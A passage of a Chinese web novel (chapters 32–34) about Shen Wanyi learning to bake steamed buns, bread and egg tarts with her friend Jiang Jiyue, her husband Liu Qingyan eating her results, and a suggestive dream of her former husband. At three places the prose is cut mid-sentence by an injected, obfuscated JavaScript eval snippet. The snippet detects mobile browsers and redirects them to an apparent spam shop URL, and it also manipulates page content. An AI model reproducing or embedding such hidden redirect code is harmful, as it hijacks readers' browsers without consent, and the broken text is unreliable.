所谓的“贤惠”的名声不过是一捅就破的窗户纸,是经不起半点风吹草动的。 而且,若真是成了贤惠的人,沈婉仪想那情景,那指定很累。 她现在虽是柳青砚名义上的妻子,但他家中并无其他长辈需要她侍奉,也没有旁支亲戚需要她交好,除了偶尔要与他装装样子外,她的时间几乎都是属于她自己的,她可以随意做自己喜欢的事。 光从这点上讲,柳青砚还是挺符合的。 “婉婉,你想什么呢?面团不是这样揉的!” 江霁月的呼喊,把沈婉仪的注意力又重新扯了回来,沈婉仪看着自己手中的面团,仍然是细腻光滑的模样,和江霁月手中的似乎并没有很大差别。 “这不是一样吗?” “你这样反复使用同一个姿势来来回回地揉,面团里面的空气是排不出去的。” 江霁月说着将沈婉仪的面团撕开给她看,她指着那些大的气孔,“看吧,这些就是没排出的空气。” “喏,你再来看我的。” 江霁月缓慢把自己的面团撕开,里面的气孔果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051618|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少了许多。 “你得和洗衣服一样反复揉搓才行,不要怕把它揉烂了,待会揉了之后面团又会抱团的。” 像是想起来沈婉仪几乎没怎么动手自己洗过衣服,江霁月又演示给她看,“就像这样。” 江霁月的双手将面团拉长,再反复折叠用力揉搓,面团在她的这般动作下很快变得光滑起来。 但沈婉仪见到她的动作还是有些疑惑,她问,“这不都还是面团吗?难道味道会有差别吗?” “你现在可能会觉得没什么大的差别,你待会尝尝就知道了。”江霁月说着,将沈婉仪的面团特意保留了一部分,其余的都揉了又揉再放进了蒸锅里。 “现在温度没有那么高,可以先放在蒸笼里面再发酵一会,发酵好了再才开始蒸。” 沈婉仪揽着袖子站在一旁静待着,江霁月说要帮她从最简单的开始学起,所以她们今日是在学做馒头。 面团发酵好后,江霁月就分别把他们两人做的面团送上锅里开始蒸。 等待的时间是转瞬即逝的,沈婉仪看着刚出锅的馒头,第一眼就发现了两人的馒头有着些许不同。 她那面团蒸出来的馒头表面是坑坑洼洼,不平整的,而江霁月的馒头表面却是光滑无痕的。 等馒头稍微酿凉一会儿,江霁月分别拿了两个馒头递过来,“你尝尝看,有什么不同?” 沈婉仪细细咀嚼,她的那个虽也是馒头的味道,但却没有那么蓬松暄软,口感上比起江霁月做的也没有那么细腻。 她立即就懂得了江霁月刚刚说的不同,沈婉仪之前几乎很少去厨房,更很少亲自动手下厨,她未曾想便是做这样一个小小的馒头,也有许多讲究。 江霁月看到她脸上的表情,噗嗤一声笑出声来,装出一副老道的样子,拍了拍她的肩膀,“婉婉徒弟,你的烘焙之路还很长噢,你看这馒头,这便是你上课不专心做出来的成果。” 沈婉仪看着她调侃自己的模样,也有样学样,“那师父,徒儿今日上课走神可有惩罚?” 江霁月摸了摸自己的下巴,想了想,最后调皮地朝她眨眨眼,“那就罚你今天晚上只准吃自己做的馒头吧。” “那就遵命了,江师父。” 沈婉仪从江霁月的小厨房那里回府时,柳清砚刚好也接着梁盈回来,梁盈看见她手里提着的食盒,还以为她又从江姨那里带回来什么好吃的,忙问她手里的是什么。 “是娘亲的晚膳。” 等到沈婉仪在饭厅将食盒打开时,梁盈兴奋表情顿时不见,“怎么是馒头啊?” “对啊,就是馒头。” 沈婉仪向来是遵守承诺的,她答应了江霁月要受罚,于是便把自己面团做的那几个馒头拿了回来,打算晚膳就吃这个。 没想到她才刚把馒头端出来,就听见一道清润又带着些疑惑的声音。 “这面团是没揉好便上锅蒸了吗?” 沈婉仪的目光顿时“唰”的一下就看向来人,目光如炬,“你怎么知道?” 柳青砚听见她没唤自己大人,唇边露出一抹笑意,解释道,“幼时在家里和母亲一起蒸过馒头,那时还小,没怎么学过,蒸出来的馒头便是这样的。” 沈婉仪的脸随着柳青砚的话一点点的红了,她居然犯的是柳青砚少时才会犯的错!她觉得这很是窘迫。 更窘迫的是,柳青砚接着问她,“婉婉,这是你做的吗?你晚膳就吃这个?” 沈婉仪很不好意思地点点头,这再差也是自己的杰作,馒头还是要吃的。 “我可以吃一个吗?” 沈婉仪闻言有些讶然地抬眼看向柳青砚,“你确定?” 她并不觉得自己坑坑洼洼的馒头比起色香味俱全的山珍海味充满吸引力。 “确定。” 柳青砚说着,果真动筷夹起一个馒头开始品尝起来,明明吃的是馒头,硬是让他吃出了山珍海味的感觉,不多时,一个馒头就被他慢慢吃完了。 “暄软适口,阿婉虽然是第一次做,但也是做得相当好的。” 柳青砚说这话时,抬眸凝望她,眼底盛着暖融融的光,眸底里的真切让人不会怀疑他话中的真假。 沈婉仪听着这般恭维的话,却更加觉得不好意思,脸上的热度又多了几分。 柳青砚这人还是太讲礼了些。 32. 第 32 章 这晚上,沈婉仪和柳青砚一人吃了两个馒头就没再吃其他东西了。 沈婉仪庆幸自己做出来的馒头不算很多,毕竟她这馒头的个头不是太小,要不是有柳青砚的帮助,她估计她这馒头是吃不完的了。 而且她自己吃完两个馒头也是有些勉强的,毕竟她这馒头做得并不成功,吃到后面简直味同嚼蜡。 但这是她的惩罚,她是定是要吃完的,但看见柳青砚也主动请缨陪她吃馒头,沈婉仪有种连累了他的感觉。 柳青砚脸上倒是看不出什么,他甚至是一口气吃完,不知道的还以为这馒头有多好吃。 沈婉仪在一旁都看得有些哽住了,她见他放下筷子,立马倒了些水递过去,“很噎吧,你其实没必要陪着我一起吃馒头的。” 柳青砚摇了摇头,“之前饿肚子的时候,什么都吃得下,若当时有馒头,恐怕要抢着吃才能吃上。” “阿婉,不过两个馒头而已,不是什么大不了的事。” 沈婉仪虽听他这样说,但仍不觉得轻松多少,她平生就很少麻烦人,偏偏到了柳青砚这里,却总是一而再再而三地麻烦他。 虽说大多是他“自找麻烦”,但给别人造成负累的感觉让她总是想要回报他些什么。 “阿婉,你今晚为何只能吃这个?” 沈婉仪想都没想就回答,“这是我的惩罚。” 柳青砚听得皱眉,“惩罚?” 沈婉仪见他的表情,知道他定是误会了,于是连忙解释了这惩罚的来龙去脉,“......霁月就让我今晚只能吃馒头。” “婉婉,我理解你们感情好,但其实你也不用完全听江姑娘的。” 她刚刚吃得困难也是硬是要吃完的模样,看得实在让人不爽。 沈婉仪对此不以为然,而且很能理解她的好友,“还是怪我走了神,所以才失败了,霁月也是好意,想让我下次专注些。” “阿婉想什么走了神,竟然是为此才失败的吗?” “在想你......”说到“你”时沈婉仪才察觉不妥,忙把后面的话咽了回去。 但柳青砚却耳尖的听到了那个“你”字,目不转睛地瞧着她,期待她接下来的话。 沈婉仪看着柳青砚的眼神,忽然不知道怎么开口,她总不能告诉柳青砚,我那时在想选你做夫君挺合适的吧。 “......在想你是不是已经把阿盈接回来了。” 她有些生硬地转移了话题,但说完她又有些后悔。 外祖母曾教她不能撒谎来着,她自己也教孩子不能撒谎,但是她在柳青砚面前却总是为着不同的事瞒着他。 但照江霁月的说法,她这也算善意的谎言吧?不然如果真的把实话说出来,那她们两人现在该有多尴尬? 柳青砚听到她的话后,眼里闪烁的期待光芒一下黯淡下来,他恍若无事发生地答她的话,“今日下值早了些,去相府的时候阿盈都还没出来,于是便进去与老师打了个招呼。” 提起这事,沈婉仪倒是想起来这一晃眼,梁盈都去私塾快半个月了。 “这半月都是你去接阿盈回来的,可有碰见过阿盈的教书先生?他有说过阿盈怎么样吗?” “遇见过的。崔老先生教学生还是有自己一套法子的。” “对阿盈这些年纪小的孩子,专拣浅白易懂的字句教,辅以趣味典故引着性子,教她们好奇的同时也不忘钻研;对张逸思般大的孩子,则教他们深抠文义章法,兼考经世致用,为他们之后参加科举打下根基。” 张逸思这个名字沈婉仪有些耳熟,最后想起来,这是丞相的嫡长孙,现在应是十一岁左右了。 “他倒是与我谈起过阿盈的念书情况,他说阿盈若是有人看着那念起书写起字来那是相当专心致志的,若没人看着......” 柳青砚顾忌着梁盈的面子没有把话说全,但沈婉仪不用猜都知道他要说什么。 “若没人看着,那是书也不念了,字也不写了,只顾着玩了。” 柳青砚笑了笑,“阿婉,你还挺了解阿盈的。” 沈婉仪无奈,“我是她娘亲,自然了解她了。” “对了,先生可说她与其他孩子相处得如何?” 梁盈虽机灵,但她这机灵的性子可没用在念书上,这点沈婉仪是早就知道的,是以她也没指望梁盈去了私塾后一下就能把性子转变过来。 但她知道梁盈不仅机灵还总是爱灵机一动去干点什么事,为着这点,梁盈去相府之前她已是千叮咛万嘱咐过的,沈婉仪就怕她去了相府之后闯下什么祸事来。 特别是相府之中还有梁盈相熟的人——曲瑶和曲连奚。 曲连奚沈婉仪都没有那么担心,倒是曲瑶,她也是个爱玩的性子,梁盈和她走到一起只会更加无法无天起来。 比如上次在永兴寺,若不是柳青砚将人给人给送回来,可不知道要发生什么事,想到此,沈婉仪不由得又是一阵后怕。 柳青砚看出了她眉眼间的担忧,忍下了想为她抚平眉头的冲动,缓声道,“阿盈和那些孩子相处的挺好的,交了不少朋友呢。” “只是先生说她偶尔因为会和几个孩子发生一些口角,不过都无伤大雅。” 听到发生口角,沈婉仪还是忍不住下意识地想追问,不过话到嘴边,她还是选择没有问出口,这些事她去问当事人显然更能问的明白一些。 但她还是忍不住低头喃喃,“阿盈这脾性,十打十的和她父亲一个样。” 她说完,神色如常地去倒水喝,却见柳青砚唇边笑意未减,只是眼神却平静无波地看着她。 沈婉仪端起茶盏喂到唇边的手稍微顿了一下,后知后觉地察觉自己在柳青砚面前提起了梁钺。 但她并未因此而感到不妥,她和梁钺成亲并有了一个女儿的事在上京城可谓是无人不知无人不晓的,柳青砚定然也知晓,她又不必隐瞒什么。 她喝了口茶,心底没有半分芥蒂,又接着刚刚的话继续聊,她说起梁盈的性子和她父亲有多相像,“我与梁钺相识时他也是个无法无天的性子,我弟弟偏还把他当做大哥似的整日跟他他后面跑,梁钺就......” “阿婉,你明日还要去江姑娘那里吗?” 终是听不下去她与那人之前的生活有多甜蜜,柳青砚还是忍不住打断了她。 沈婉仪被他突然开口的话问得一愣,“啊?”旋即回答道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061426|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要的。” “怎么问起这个?” “没什么,就是想问问你最近在做些什么。” 柳青砚见她没再提梁钺了,为她续上杯中的茶水,示意她接着说。 “我去和霁月学做糕点了。对了,说起这个,日后若是御史台的事务繁多,你不能去接阿盈时,你便直接派人去汇康街往怀安姐走的第七间院子寻我。” 江霁月租的小厨房便在此处。 柳青砚刚刚那平静无波的眼神并没有让沈婉仪意识到他心中的不快,于是当话题被柳青砚带着过渡到沈婉仪的日常上的时候,沈婉仪也并未多想。 “学做糕点啊......”柳青砚骨节修长的手指有节奏地敲击着桌面,他重复着沈婉仪的话,陷入某种遐想。 他似乎是想到了什么令人高兴的事,他忽的语调上扬,眼睛弯成新月,笑眯眯地问道,“阿婉,那我岂不是日后可以吃到好多你亲手做的美食?” 沈婉仪想了想今日做的那坑坑洼洼的馒头,如果那也算美食的话—— “如果你不介意的话......” “阿婉做的东西我怎么会介意呢?能吃到阿婉亲手做的糕点,该是我的荣幸才对。” 沈婉仪看着柳青砚这无比真挚的模样,内心居然莫名地有些心虚起来,柳青砚这帽子似乎给她戴的太高了些。 她讪讪地笑了笑,有些不太确定的给他提醒,“可能没有那么好吃,也有可能会很难吃。” “无碍。阿婉,你尽管大胆地去做吧,学做糕点便是要不断试错的,无论成功或者失败,你尽管把东西带回了便是,我一定会都不浪费全部吃光的。” 沈婉仪的心忽地像被刷子挠了那么一下。 她说不上来什么感觉,为了打消这奇怪的感觉,她像是不经意般随口提到日后的打算。 “日后做得好了,我打算和霁月一起开个铺子卖这些糕点。” 沈婉仪心里清楚,这世道本就轻商,士农工商,商字偏居最末,任谁靠着营生赚得盆满钵满,在旁人眼里也不过是逐利的俗人,登不得大雅之堂。 出身商贾的人,皇亲贵族、世家子弟瞧不上,文人雅士也多有鄙夷。 沈婉仪即使出自国公府,倘若日后亲自去抛头露面,做些生意,恐怕也是遭人指点的。就连她父母,沈婉仪也不敢一口咬定他们就会支持她。 想到这,她不动声色地打量柳青砚脸上的表情。 就是不知道这昔日的探花郎,又如何看待她这打算呢? 柳青砚对上她打量的视线,神色沉静温和,眉眼间皆是缱绻的温柔,“阿婉聪明伶俐,想来铺子日后定会生意兴隆。” 他的语气里满是笃定,字字都透着让人安心的力量,让人有种莫名的信服。 “日后我若休沐,不知阿婉是否介意我来帮你的忙?” 夜风顺着雕花窗的窗缝溜进来,灯火葳蕤,映照出柳青砚眼底的满室柔光,以及他唇边的浅浅笑意。 沈婉仪望着他清俊又柔和的眉眼,像是被什么蛊惑了似的,下意识地便温声答应了一个“好”字。 “那倒时还请阿婉多指教了。” 柳青砚笑着道。 33. 第 33 章 沈婉仪并没有因为这一次的失败而感到沮丧,正如那日江霁月与她说的,她的“烘焙”之路还很长。 她当时虽没听明白“烘焙”是什么,但隐隐约约猜到应该就是说她学做糕点的路途。 沈婉仪从小对喜欢的事物就抱着持之以恒的心态,即使没有柳青砚的那些话,她仍是会继续坚持做下去。 但该说不说,柳青砚的那些话还是在沈婉仪的心里留下了一丝触动。 为了尽快上手,她这段时日每日都和柳青砚一同起来,柳青砚带着梁盈去私塾,自己去上值,沈婉仪便坐着马车去了怀安街。 她和江霁月守着小厨房,连午膳都不必回府吃,吃着自己做的各种美食就能管一整日。 有了第一日的经验后,沈婉仪再不敢随意走神,老老实实把江霁月说的话全部听进心里。 江霁月打算在开业那天卖的除了那天她与她说的那几样喝的,还打算卖一些能裹腹的食物,她说一个是她家那边的汉堡,就是这边俗称的肉夹馍,一个是她家那边叫蛋挞的点心,这边她给取了名字是蛋酥,还有一个是她上次带过来的樱桃糯米团子, 江霁月说的肉夹馍和蛋酥之前她曾经带给她尝过,味道虽比较新奇,但还是可以说十分美味。 但是据江霁月所说,因为江府条件有限,她那时带过来的这两样东西都有些瑕疵,要达到贩卖的要求还有一定距离。 于是这次她租了小厨房后,特意自己打造了一个用来烤制食物的窑。 江霁月说有了这个窑,她们以后做各种东西都会事半功倍,像做汉堡的面包,还有蛋挞都是需要用到这个窑。 沈婉仪以往所见过的烤制的食物都是用普通的火炉烤出来的,也只听说过烧制瓷器需要进窑炉,却不知道改良过后的窑还可以用来烤制食物。 除了这个,江霁月还向她演示了加工鲜牛乳的办法。 让鲜牛乳发酵两日后上下层分离,再将上层凝固的奶酪单独盛起放在锅里小火熬制,最后奶酪里面的油脂一点点熬出来变得清亮,将其过滤后盛起便是之后做面包和蛋挞需要用到的原料——简易版黄油。 就这一小段时日,江霁月在她面前展示了各种不同做糕点的技巧和手法以及熟练使用各种工具的流程。 沈婉仪简直看得目瞪口呆,她从未知晓,这些小小的糕点背后居然有这么多的门道和讲究。 随着江霁月展示的技能越多,沈婉仪是越发佩服起自己的这个好友来了,她从她身上总能知道各种新奇的知识,现在又学到各种技能。 她甚至产生了一种骄傲的感觉,自己居然能和这么厉害的一个人是挚友的感觉。 她将这些话告诉江霁月的时候,江霁月在一旁听得脸都红了,她一直在摆手,说她只是赶上了好时候,她的家乡那里有着非常完善的烘焙流程,她也是跟着老师学的。 沈婉仪知道江霁月说的家乡并不是她姨娘的惠州老家,而是她曾经告诉她的,她在梦里的另一个家。 十年前,建元九年,江修远当时还不是太常寺主簿。 他的三女儿江霁月在当年的端阳节落水之后昏迷了足足一个月,当时请来的大夫几乎都说药石无医,可以准备后事了,可偏偏一个月后江霁月硬是慢悠悠地醒转了过来。 只是醒了之后的江霁月,与之前唯唯诺诺、沉默寡言的性子是大相径庭,偶尔还会吐出一些周围人都听不懂的话。 为着这事,江府当时又请大夫又请大师的,可惜无论是大夫还是大师都无法找出江霁月如此行径的原因,只说是昏迷了太久,恐伤了脑子,不过对身体无碍,只待好好将养便是。 没过多久,江霁月的性子竟真如大夫所言真的收敛了许多,嘴里的胡话也越来越少了,她似乎又变回了以往的那个江霁月,江府也不再找大夫或大师来替她“看病”了。 但沈婉仪知道,这一切不过是她伪装的假象,从她认识江霁月开始,她便一直是那个跳脱性子的江霁月。 跳脱的江霁月告诉她,她晕过去的那一个月里她到了另一个世界,那个世界与齐国截然不同,她在那里生活了许久,直到一场意外才让她一睁眼来到了此处。 江霁月告诉沈婉仪这些时,沈婉仪除了对她说的那个世界感到好奇外,并没有流露出过多的情绪。 江霁月对她如此淡定的态度还觉得诧异,因为她在江府刚醒过来的那段时日不过是随口吐槽了几句“没有空调,没有冰箱”“好想玩手机,好想打游戏”啥的被人听见了,她爹和姨娘陆陆续续请了好几个大夫和大师来江府帮她“治病”和“驱邪”。 对此,沈婉仪那时的回答是,“那是因为他们觉得你不一样了,甚至你的一言一行不像他们的女儿了。” “可我自打认识你,你就是现在这个性子,从始至终我认识的你并没有什么不同。” “至于你说的那些我听不懂的词,”说到这时,沈婉仪淡淡喝了一口茶,“我不认为这是什么需要‘驱邪’的事。” “况且你现在只在我面前讲这些话,说明你非常信任我,我的手帕交只把这些话讲给我一个人听,我应该为此感到高兴才是,你说是不是这个道理?” “那可太是这个道理了,不过你放心,我现在都已经收敛了,不会整日‘胡言乱语’了。”江霁月巴掌一拍,很是激动,说到后面,她特意把“胡言乱语”这几个字咬的重了一些。 沈婉仪那时一听便只知道她在和她开玩笑,等到她抬头望向她时,果不其然看见江霁月脸上夸张的表情,沈婉仪不禁失笑。 现在江霁月又重新提起梦里的那个家乡,说她的这些技能都是从那里学的,听得沈婉仪不禁更加好奇,那里到底是个什么模样。 “婉婉,我跟你讲,你把我这些技能全都学会了,若是有朝一日你也去到我说的那里,那你肯定也能凭借这些技能养活自己。” 江霁月说着,正麻利地往面包窑里面递着木材,旁边的桌上放着她们刚刚做好的面包胚和蛋挞酥皮。 这段时日,江霁月看着沈婉仪这么积极的模样,也干劲十足,每日早早地就来了小厨房做着准备工作。 对着沈婉仪这个徒弟,江霁月比起她说的老师对她还要上心,她并不和她的老师一样,先全部演示一遍,再让她上手,而是在第一遍做的时候就同时让沈婉仪跟着一起做了。 她们两人一同制作完后,沈婉仪又会立刻接着自己重新做一遍,江霁月在一旁指出她犯的小错误,第二次做完后,沈婉仪最后一次是完全自己做,这样一来二去,沈婉仪很快就对整个流程完全熟悉了。 相较于喝的那几样饮品,这些小巧的食物显然更费时费力。 虽然沈婉仪已经全部熟悉了流程,但毕竟才刚开始上手,自己做时仍然会出现大大小小的状况。 比如前面几日,由于对面包窑的温度还不是很了解,沈婉仪自己第一次送进去的那几个面包胚全部成了焦炭。 那时她才刚刚跟着江霁月烤出了一盘卖相还不错的面包,乍然看见一盘的焦炭,竟一时没反应过来。 江霁月告诉她送进去后大约等一炷香的时间就可以了,若是因为火候不够又或是其他原因导致面包取出来发现还没烤好,只需再重新送进去多等一会儿就行。 沈婉仪记得她刚刚重新送进去也没有多久,怎么就全部烤焦了? 江霁月正在屋里揉着面团,等了半天没见到人,出来找她,就看到她正盯着一盘的黑炭发呆。 “怎么把炭给拿出来了,面包呢?” 沈婉仪听到问话,抬起欲哭无泪的脸回头看向江霁月,半响,她才找回来自己的声音,“霁月,这好像......就是我刚刚送进去的面包。” 江霁月也走近了,出炉的“焦炭”在外面吹了好一会儿的风已经褪去了温度,她随手拿起一个轻轻一捏,面包就在她手中化成了灰。 “你这是等待的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079691|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太长了,你中途有取出来看过状态吗?” “看过的,但是那时看的时候面团的颜色都还没有变,我就多等了一会儿。”沈婉仪有些羞愧,声音越说越低,“......再取出来就变成这样了。” “你下次以一炷香的时间为基准,若是到了一炷香,还没烤好,就每隔半盏茶看一下,这样就不会烤糊了。” 江霁月的这番话显然是相当有用的,自从这次“焦炭”事件后,沈婉仪再也没有烤制出如此焦糊的食物。 她还学会了随机应变,学会了根据不同不同种类的食物掐着时间去看它们的状态,只为它们都呈现出最好的卖相。 连着二十多日的时间,沈婉仪一直反复练习开业时要售卖的几种食物,直到终于能够稳定地制作出成品时,沈婉仪才深深呼出一口气,她这段时日的努力没有白费。 其实,早在嫁给柳青砚之前,江霁月来沈国公府时,沈婉仪就曾经问过她当初是找的何人学习,又是如何学习这些制作这些东西的。 江霁月告诉她,她们的老师会在她们眼前演示一遍,再让她们自己上手操作,老师在一旁指点。最后制作的成果,无论好坏,老师都会让她们带回去,让她们自己或者和他人一起品尝。 沈婉仪当时便想着若是她自己动手来制作这些糕点,到时候做出的成果,江霁月应该也是要让她带回去的。 若是经过大量的练习,她迟早会做出完美的成品,但在那之前,沈婉仪也曾在心里犯过难,做出来的失败品她该如何处理? 若是直接扔了,那未免太过浪费,若是让她自己解决,她又吃不了这么多,若要她与人分享,这些都是失败品,她也不好意思送给别人。 那日柳青砚说的话,沈婉仪原本也没放在心上,可直到她发现这段时日她带回去的那些东西,无论是好还是坏,他竟然全都照单全收。 甚至最后他都不在府里用晚膳了,只等着吃她带回去的那些东西,沈婉仪这才意识到他并不是在说假话。 沈婉仪曾想过,她的手艺进步得这么快,或许也有柳青砚的一份功劳,因为想着每日都会有这么一个“顾客”在等着吃她做的食物,若是手艺还是一成不变,那实在是太丢人了些。 但近来柳青砚的脸庞似乎瞧上去比以往圆润了些,沈婉仪怀疑这是不是他每日都将她带回去的东西全都吃完了的缘故。 沈婉仪今日无意间和江霁月聊起这个话时,江霁月脸上全是憋不住的笑容,她笑地眼睛都眯了起来,她问她,柳青砚是不是连着二十多日晚上都吃了肉夹馍和蛋酥。 沈婉仪不清楚江霁月这么笑的原因,她虽感到疑惑,但还是肯定地点了点头,“最近做得越发成功了,阿盈也会吃一些,不过连日来,确实是柳大人一直在吃。” 江霁月听了她的话,笑的更加大声了,“连着吃了二十多日的蛋挞和汉堡,还都是晚上,那他不长胖,谁长胖啊?” 江霁月一边笑着,一边给她解释了这两样东西的热量有多高。 “什么是热量?” “唔,就是你每日做各种活动需要的身体需要的能量。” 江霁月说完,仍是觉得自己说的有些不够明白,又补充道,“你别看我们做的这些东西都小小一个,但实际上吃一个肉夹馍差不多能赶上吃三四碗米饭了,一个小小的蛋酥也能赶上一碗米饭呢。” “你可以换算一下,你的柳大人最近每晚吃了多少米饭?”江霁月笑着拍了拍她的肩膀道。 沈婉仪在脑袋里默默算着,越算她就越笑不出来了,因为她每日带回去的东西虽不是很多,但最起码也有两个肉夹馍和四个蛋酥,虽不是定量,但数量上是差不多的。 那柳大人岂不是每晚差不多吃了......差不多十碗米饭?! 怪不得沈婉仪今早起床时,迷迷糊糊听见他说官服似乎紧了一些,合着都是她的缘故?! 这要她今晚回去如何面对他? 34. 第 34 章 江霁月瞧见她面如土色的表情,宽慰她,“没事的。人家说,当人感到幸福的时候就会开始长胖,若是回去之后柳大人问起,你也这样回复他。” 沈婉仪见她还在和自己开玩笑,不由得轻叱道,“霁月!” “好了,好了,我不和你说笑了。你别担心,到时候等我们把开业这阵子忙过,我再教你做个减脂餐,保证还你一个鹤骨松姿的柳大人。” “你今日也早点回去吧,我们的铺子明天开始营业,有的忙呢。” 沈婉仪回府的时候天色尚早,日头不过刚刚西斜,下人们还没开始准备晚膳。 江霁月刚刚的那番话久久在她耳边萦绕,尽管今日沈婉仪做的肉夹馍和蛋酥都品相俱佳,但她一样都没带回府来。 她特意去了厨房吩咐让晚上的菜色准备得清淡些,少一些荤腥。 从厨房回到后院,沈婉仪刚准备躺在桂花树下的编藤椅下休息一会,忽地又想起早晨时迷迷糊糊听到的那句话来。 日头西斜的金辉透过桂树疏枝筛下来,碎金似的光影落满了沈婉仪的整个身子,眼睛有些睁不开。 她抬起手遮了遮,叫旁边的芸香,“芸香,你派个人去锦衣阁请个老练的裁缝回来。” “是,姑娘。” 芸香走后,沈婉仪微微调整了藤椅的位置,让阳光无法直射到她的眼睛。 做完这一切,她躺在编藤摇椅上想,若是待会柳青砚回来问起怎么突然想给他做衣裳,她该如何回答呢? 她白皙细长的手指搭在扶手上有一搭没一搭的敲着,编藤椅也在树下前后轻轻晃动起来。 或许是最近都没睡过午觉,也或许是今日忙了些,这么一想着她竟然进入了梦乡。 梦里的场景也是和衣裳有关。 那是建宁十四年,距离她和梁钺成亲已经一年了。 这一年邺州临羌城饱受流民和外族骚扰,沈婉仪和梁钺总共也没见过见面,常常是相聚几天,他就又要回去了。 也正是因为聚少离多,是以每次两人一见面,梁钺就腻歪得不行。 沈婉仪记得他每次回来,衣裳穿来穿去都是那几样,也不是说是什么非常拮据的人家,于是趁着梁钺这次从邺州回来,她便特意请了裁缝来府上给他做衣裳。 梦境便是从那个午后开始的。 裁缝来府上的时候,梁钺将他手里量尺寸工具都要了过来,说是要亲自测量,让裁缝回去等着。 于是裁缝刚刚进府里没多久,便又被他派人给送了回去。 好的是他派人送裁缝回去的时候,还给了别人二两银子算作路费,这才让别人没算白跑一趟。 但一旁的沈婉仪仍是对他这番举动看得不满,“你这不是胡闹吗?!” “你自己怎么给自己量?” 听到沈婉仪的诘问,梁钺一点也不恼,他勾了勾唇,语气不太正经,“我自己当然不能给自己量啊,所以这件事还得麻烦夫人了。” 他说着拉着沈婉仪进了屋内。 沈婉仪仍是对他多此一举的举动感到不解,进了门仍在埋怨,“我好好给你请的裁缝你不需要,偏要拉着我来给你量。” 梁钺歪了歪头,语气无辜地朝着她眨了眨眼,“这有什么区别吗?” 沈婉仪无语凝噎,“当然有区别了,我又不是专门做这一行的,量出来不准怎么办?” “要那么准做什么,能穿就行。”梁钺无所谓道,说完便开始脱着外衣。 沈婉仪被他的动作吓了一跳,反应过来立即背过身去,“你这是做什么?!” “婉婉,我才要问你这么震惊做什么?谁家量尺寸是穿着衣服量的?” 沈婉仪被他的话噎了一下,但仍忍不住跟他回嘴,“你突然开始脱衣服,谁见了都会吓一跳的。” 此时梁钺已经脱了外衣,只剩一件单薄的里衣,他见沈婉仪没有动作,于是特意绕到她面前,把软尺递给她。 沈婉仪没想到他动作这么快,见他只身着一件白色的单薄里衣,恐时间长了他着凉,于是只说了一句“站直”后,也不再和他说话。 她让梁钺站直一点,她好拿着软尺与他细细比过,梁钺听话照做。 软尺需得贴合肩头、腰腹.....如此一来两人相距不过半尺,仿佛连参差不齐的呼吸都缠在了一起。 参差不齐? 沈婉仪这才注意到梁钺的身体绷得极紧,整个人仿佛一张蓄势待发的弓,呼吸也似乎比平时粗重几分。 她蓦地抬手想去探他额头,手刚伸至一半,却被一只覆着粗茧的大手攥住,指腹的糙意硌着她的细腻,惊人的热意源源不断的传递过来,攥住她手的力道沉稳虽不重,但却让人挣也挣不开。 她困惑抬眸,却对上一双幽深至极的眸子。 梁钺一直扣住她的手腕,另一只手抚上她雪白的脖颈,他轻轻一压,沈婉仪整个人就陷在了他的怀中。 他俯下身,轻轻吮吸她颈窝处柔软细腻的肌肤,鼻腔中全是她满身馥郁的香气,他满足地发出一声嗟叹。 他动作逐渐往上,轻轻吻过她白皙的耳垂,见到她一动不动,似乎愣在原地的模样,他轻笑一声,用只有两个人才能听到的声音说道,“婉婉,我脱衣服别人吓一跳我不稀奇。” “但你连我没穿衣服的样子都见过,你干嘛吓一跳?”他说着,用不轻不重的力道在沈婉仪的后颈处轻轻捏了一下。 沈婉仪这下若是还不知道他要做什么,那真是枉和他成婚一年了。 她脸红得滴血,拼命想要挣脱梁钺的桎梏,却因力量悬殊太大,终究是徒劳。 她只好用另一只空着的手去掰他的手指,企图用言语说服他,“你有没有点羞耻之心?!这可是大白天呢!” 梁钺唇角带着一丝笑意,语调慵懒道,“平常我是有的,但——”他语调轻缓拉长,俯身微微凑近,气息擦过她耳畔,“面对我的夫人时就没有了。” “婉婉,还不是怪你刚刚摸我的腰,都把我摸.了。” 虽然现在只有他们二人,但饶是沈婉仪与他成婚这么久,仍是受不了他这般毫无顾忌地说着荤话。 她推了推他,发现推不动,又打了他一下,“你这还只穿着里衣呢,快量完了穿上衣服,耽搁了这么久,别着凉了。” 沈婉仪从小养在祖母身边,家教甚严,实在是有些接受不了白日宣.,虽她知道梁钺话里的意思,但她仍试着转移话题,蒙混过关。 “不穿了,反正都是要脱的。”梁钺丝毫不认账。 沈婉仪见他丝毫不拿自己身体当回事,于是干脆立在他怀里抱着手臂一动不动,冷冷道,“那你就别穿衣服就在这冷着吧。” 梁钺听到这语气,一下就听出来自己惹恼了她,于是瞬间转变话术,换了一副可怜兮兮的表情。 